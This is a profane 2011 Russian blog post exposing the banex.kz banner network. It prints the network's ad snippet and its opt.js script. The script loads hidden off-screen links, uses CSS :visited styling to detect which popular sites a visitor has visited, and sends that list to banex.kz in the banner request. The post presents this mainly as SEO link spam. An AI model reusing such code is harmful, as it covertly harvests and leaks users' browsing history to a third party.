banex.kz -наебизнес по нашенски

Палыч January 18, 2011
1087
7
0
0

Всем привет, буду короток и ясен.  Имеем партнерку (точнее партнерка имеет нас) Всем участникам банерки под кат Ну есть трекер маленький в казнете, живет, никому не мешает, крутится помаленьку. Надо...

Всем привет, буду короток и ясен.  Имеем партнерку (точнее партнерка имеет нас)

Всем участникам банерки под кат

Ну есть трекер маленький в казнете, живет, никому не мешает, крутится помаленьку. Надо набрать пользователей побольше да с каналом потолще, поэтому решили покрутиться в банерках родных.

Регнулись на банексе, банеры крутятся, пользователи вроде как кликают, а вот позиции в поисковиках проседают. И внешние ссылки какие то левые появились... Все скрипты облазили -чисто и комфортно, но осадок то есть. Ставим файрбаг, глазеем откуда зло притаилось

а там:

Все не влезло просто. Смотрим код, который дали ребята из банекса

  1. <!-- BANEX - Баннерообменная сеть -->
  2. <script type="text/javascript" src="http://js.banex.kz/my/opt.js"></script>
  3. <script language="JavaScript" type="text/javascript">
  4. <!--
  5. user = Psi();
  6. var nocache = Date.parse(new Date());
  7. var js_referer = encodeURIComponent(document.referrer);
  8. var psi = user.opt();
  9. var html = '<iframe src="http://www.banex.kz/banner.php?id=1394&js_referer='+js_referer+'&psi='+psi+'&nocache='+nocache+'" margin margin hspace="0" vspace="0" scrolling="no" frameborder="0" noresize=""></iframe>';
  10. document.write(html);
  11. //-->
  12. </script>
  13. <!-- BANEX - Баннерообменная сеть -->

Ну дали и дали, умнички. Без задней мысли смотри что есть по адресу http://js.banex.kz/my/opt.js

а там ебааааа

Ну и кому интересно в текстовом формате, пока не прибили плюшку эту

  1. var iframe__=false;
  2. //îí íå îò ìèðà ñåãî
  3. var FF=/a/[-1]=='a';
  4. var Psi=function(moreSites){var sites={"24open_r":["http://24open.ru"],"adobe":["http://adobe.com"],"amazon":["http://amazon.com"],"aol":["http://aol.com"],"apple":["http://apple.com"],"balans_k":["http://balans.kz"],"bbc":["http://bbc.co.uk"],"birge_k":["http://birge.kz"],"blogger":["http://blogger.com"],"depositfiles.com":["http://depositfiles.com"],"digg.com":["http://digg.com"],"ebay.com":["http://ebay.com"],"facebook.com":["http://facebook.com"],"flickr.com":["http://flickr.com"],"google":["http://google.com"],"google":["http://google.ru"],"google":["http://google.ca"],"google":["http://google.de"],"google":["http://google.us"],"google":["http://google.co"],"google":["http://google.fr"],"google":["http://google.co.uk"],"google":["http://google.es"],"google":["http://google.cn"],"gmail":["http://gmail.com"],"hotmail":["http://hotmail.com"],"icq":["http://icq.com"],"karapuz_k":["http://karapuz.kz"],"kolesa_k":["http://kolesa.kz"],"last_f":["http://last.fm"],"live":["http://live.com"],"liveinternet_k":["http://liveinternet.kz"],"livejournal":["http://livejournal.com"],"ludi_k":["http://ludi.kz"],"mail_r":["http://mail.ru"],"my_mail_r":["http://my_mail.ru"],"mama_k":["http://mama.kz"],"microsoft":["http://microsoft.com"],"myfriend_k":["http://myfriend.kz"],"myspace":["http://myspace.com"],"msn":["http://msn.com"],"mtv":["http://mtv.com"],"narod_r":["http://narod.ru"],"nevestushka_k":["http://nevestushka.kz"],"odnoklasniki_r":["http://odnoklasniki.ru"],"omega_k":["http://omega.kz"],"paypal.com":["http://paypal.com"],"podruga_k":["http://podruga.kz"],"rapidshare":["http://rapidshare.com"],"real":["http://real.com"],"sourceforge":["http://sourceforge.net"],"yahoo":["http://yahoo.com"],"youtube":["http://youtube.com"],"vkontakte_r":["http://vkontakte.ru"],"vmire_k":["http://vmire.kz"],"wikipedia":["http://wikipedia.org"],"wikimedia":["http://wikimedia.org"],"woman_k":["http://woman.kz"],"woman_r":["http://woman.ru"],"wordpress":["http://wordpress.com"]};
  5. for(var site in moreSites){if(typeof(sites[site])=="undefined")sites[site]=[];if(typeof(moreSites[site])=="string")
  6. sites[site].push(moreSites[site]);else
  7. sites[site]=sites[site].concat(moreSites[site]);}
  8. var visited={};function getStyle(el,scopeDoc,styleProp){if(el.currentStyle)
  9. var y=el.currentStyle[styleProp];else if(window.getComputedStyle)
  10. var y=scopeDoc.defaultView.getComputedStyle(el,null).getPropertyValue(styleProp);return y;}
  11. function remove(el){
  12. if (FF && !iframe__) return;
  13. //el.parentNode.removeChild(el);
  14. if (FF) iframe__ = true;
  15. }
  16. function createIframe(){
  17. if (FF && iframe__) return;
  18. var iframe=document.createElement("iframe");
  19. iframe.style.position="absolute";
  20. iframe.style.visibility="hidden";iframe.style.top="0";iframe.style.left="-2500";document.body.appendChild(iframe);if(iframe.contentDocument)iframe.doc=iframe.contentDocument;else if(iframe.contentWindow)iframe.doc=iframe.contentWindow.document;iframe.doc.open();iframe.doc.write('<style>');iframe.doc.write("a{color: #000000; display:none;}");iframe.doc.write("a:visited {color: #FF0000; display:inline;}");iframe.doc.write('</style>');iframe.doc.close();return iframe;}
  21. var iframe=createIframe();function embedLinkInIframe(href,text){var a=iframe.doc.createElement("a");a.href=href;a.innerHTML=site;iframe.doc.body.appendChild(a);}
  22. for(var site in sites){var urls=sites[site];for(var i=0;i<urls.length;i++){embedLinkInIframe(urls[i],site);if(urls[i].match(/www\./)){var sansWWW=urls[i].replace(/www\./,"");embedLinkInIframe(sansWWW,site);}else{var httpLen=urls[i].indexOf("//")+2;var withWWW=urls[i].substring(0,httpLen)+"www."+urls[i].substring(httpLen);embedLinkInIframe(withWWW,site);}}}
  23. var links=iframe.doc.body.childNodes;for(var i=0;i<links.length;i++){var displayValue=getStyle(links[i],iframe.doc,"display");var didVisit=displayValue!="none";if(didVisit){visited[links[i].innerHTML]=true;}}
  24. remove(iframe);return new(function(){var usedSites=[];for(var site in visited){usedSites.push(site);}
  25. this.opt=function(){return usedSites;}
  26. this.doesVisit=function(site){if(typeof(sites[site])=="undefined")
  27. return-1;return typeof(visited[site])!="undefined";}
  28. var checkedSites=[];for(var site in sites){checkedSites.push(site);}
  29. this.checkedSites=function(){return checkedSites;}})();}

Вобщем это пост ненависти банексу, лучи поноса и перманентной диареи им за такую раскрутку. В подтверждение можете посмотреть всех партнеров, которые там крутятся и у каждого будет такой код.

PS Из банерки свалил

Оцените пост

0

Комментарии

0
привет, какими еще партнерками пользовался в казнете?
0
Объяснил бы для не сведущих, чем так ужасен этот код! :)
0
приветствую! еще стоит 2x2, пока косяков не замечено
0
Во первых на сайте получается порядка 100 внешних ссылок, которые еще и упрятаны во фрейм и сдвинуты за видимую часть страницы.
А это потеря тиц, поисковый спам да и просто лишний код. А если там засунуть сайт нехорошего содержания, то и вовсе бан в поисковиках без видимой причины.
0
Ого веселый сюрприз от банерообменой сети. Спасибо за разбор, будем теперь знать что из себя представляют.
Показать комментарии